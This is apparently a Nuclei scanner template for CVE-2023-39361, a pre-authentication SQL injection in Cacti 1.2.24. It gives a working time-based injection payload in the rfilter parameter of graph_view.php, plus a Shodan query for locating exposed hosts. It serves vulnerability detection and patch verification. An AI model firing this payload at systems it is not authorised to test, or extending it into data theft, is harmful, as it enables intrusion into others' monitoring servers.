id: CVE-2023-39361

info:
  name: Cacti 1.2.24 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    Cacti is an open source operational monitoring and fault management framework. Affected versions are subject to a SQL injection discovered in graph_view.php. Since guest users can access graph_view.php without authentication by default, if guest users are being utilized in an enabled state, there could be the potential for significant damage. Attackers may exploit this vulnerability, and there may be possibilities for actions such as the usurpation of administrative privileges or remote code execution. This issue has been addressed in version 1.2.25. Users are advised to upgrade. There are no known workarounds for this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  reference:
    - https://github.com/Cacti/cacti/security/advisories/GHSA-6r43-q2fw-5wrg
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39361
    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CFH3J2WVBKY4ZJNMARVOWJQK6PSLPHFH/
    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WZGB2UXJEUYWWA6IWVFQ3ZTP22FIHMGN/
    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WOQFYGLZBAWT4AWNMO7DU73QXWPXTCKH/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-39361
    cwe-id: CWE-89
    epss-score: 0.13486
    epss-percentile: 0.95109
    cpe: cpe:2.3:a:cacti:cacti:1.2.24:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cacti
    product: cacti
    shodan-query: title:"Login to Cacti"
  tags: cve2023,cve,cacti,sqli

http:
  - raw:
      - |
        @timeout: 20s
        GET /graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=%22or+%22%22%3D%22%28%28%22%29%29%3BSELECT+SLEEP%2810%29%3B--+- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=10'
          - 'status_code == 200'
          - 'contains_all(body, "Tree Mode", "cacti")'
        condition: and
# digest: 4b0a00483046022100c25eecdf587234017cf6b626efb9d75b33a6de8aa74f8c2fb47d7a9a88a1e6630221008ead6f563992b037d679640d1b38a8f29f1ba2082ec853cf4a27034c2a8595ef:922c64590222798bb761d5b6d8e72950